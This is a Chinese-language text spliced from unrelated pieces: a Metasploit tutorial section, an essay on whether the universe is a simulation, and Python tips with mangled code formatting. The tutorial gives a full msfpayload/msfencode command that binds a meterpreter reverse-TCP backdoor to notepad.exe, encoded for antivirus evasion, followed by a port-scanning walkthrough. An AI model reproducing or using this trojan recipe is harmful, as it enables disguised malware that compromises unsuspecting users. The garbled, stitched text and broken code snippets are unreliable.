三、假裝你的木馬文件 大多數狀況下,當被攻擊的用戶運行相似咱們上面生成的包含後門的可執行文件時,由於什麼都沒有發生,這極可能會引發用戶的懷疑。爲了不被目標察覺,咱們能夠在啓動攻擊載荷的同時,捆綁一個宿主程序,讓木馬達到假裝的效果。 這裏使用windows下著名的文本編輯器notepad.exe(32位)程序做宿主程序來進行演示,notepad.exe文件能夠在網上下載或者直接從windows系統的c:\windows\system32路徑下拷貝出來。
如下生成的木馬文件在受攻擊端打開時會啓動正常的notepad文本編輯器,同時後門程序會在另外一個獨立進程中執行,連回攻擊端。而且具有必定的免殺能力。
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -x Desktop/notepad.exe -k -t exe -o Desktop/muma_notepad.exe
請輸入圖片描述 捆綁宿主程序
請輸入圖片描述 運行時啓動宿主程序,起到假裝效果
請輸入圖片描述 生成的文件具有必定免殺能力
參數解釋 「-x」: 綁定木馬到制定程序 「-k」: 配置攻擊載荷在獨立的線程中啓動
注意 「-k」參數會配置攻擊載荷在一個獨立的線程中啓動,這樣宿主程序在執行時不會受到影響,但此參數不必定能用在全部可執行程序上,實際攻擊前請確保你已經在實驗環境中進行了測試。
Metasploit的輔助模塊主要用於信息蒐集階段,功能包括掃描、口令猜解、敏感信息嗅探、FUZZ測試發掘漏洞、實施網絡協議欺騙等。這些模塊能夠分爲Admin、Scanner、Server三個大類。
Admin Admin HTTP Modules Admin MSSQL Modules Admin MySQL Modules Admin Postgres Modules Admin VMWare Modules
Scanner DCERPC Discovery FTP HTTP IMAP MSSQL MySQL NetBIOS POP3 SMB SMTP SNMP SSH Telnet TFTP VMWare VNC
Server Server Capture Modules
一、進入msfconsole以後,使用auxiliary的syn掃描模塊「use auxiliary/scanner/portscan/syn」,接着檢查參數狀況「show options」,設置必填參數「set RHOSTS 192.168.198.110,120,221-224」,運行「run」。
Tips:多IP參數設置方法 Nmap、Metasploit等工具常常會遇到多ip設置,其語法爲: 一個ip段,使用「-」來表示,如192.168.1.20到192.168.1.35能夠表示爲「192.168.1.20-35」;多個不連續的ip能夠用「,」分隔開,如192.168.1.55和192.168.1.66兩個不連續ip能夠用「192.168.1.55,66」來表示。
《異次元駭客》
看完《異次元駭客》的第一個反應是「有沒有可能咱們所生活的世界也是一個電腦程序呢?」美國著名天文物理學家 Neil deGrasse Tyson在一次研討會上曾說到:「人類基因和大猩猩有很大一部分是相同的,只有很小的差別,然而看看咱們能作什麼?而猩猩能作什麼?人類最聰明的人,例如史蒂芬·霍金,也不過是懂微積分而已。他也很難想象的到更高級一點的物種所可以掌握的科技。」牛津大學的哲學家 Nick Bostrom 也認爲,在遙遠的將來,人類徹底有能力用電腦去模擬一個和真實世界如出一轍的虛擬現實,就像如今咱們模擬電腦遊戲同樣。若是是這樣的話,假設咱們模擬了一個宇宙,那個宇宙中的人類發展到必定階段又會模擬一個新的宇宙中的宇宙,以此類推,那麼咱們有什麼理由認爲人類就是第一個這樣乾的呢?至少在機率上是說不通的。
固然,以上這些言論都是哲學家思考問題的方式。在我看來,用哲學的思惟去思考科學問題是沒有任何意義的。咱們真正關心的問題是,咱們可否在科學上證實咱們的宇宙是虛擬的呢?自從量子力學被發現以後,不少實驗結果彷佛都在告訴咱們,咱們所生活的世界並非真實的,而僅僅是運行在一臺電腦上的程序而已。全部量子力學的現象,若是咱們單獨的把它們一個一個拿出來看,都不能證實什麼,但若是咱們把全部現象放到一塊兒,那麼「虛擬世界論」可能就會成爲更加合理的解釋。
1.交換變量
x = 6y = 5x, y = y, xprint x>>> 5print y>>> 6
2.if 語句在行內
print ''Hello'' if True else ''World''>>> Hello123
3.注意浮點數的除法
print .3/.1
>>> 2.9999999999999996
print .3//.1
>>> 2.0
4.數值比較
x = 2
if 3 > x > 1:
print x
>>> 2
if 1 < x > 0:
print x
>>> 2
5.每調用一次 print() 就會換一次行,如同上面同樣。你能夠經過 print() 的另外一個參數 end 來替換這個換行符,
print(b, end=' ') 用空格代替換行
print("-" * 50) 字符串如果乘上整數 n,將返回由 n 個此字符串拼接起來的新字符串。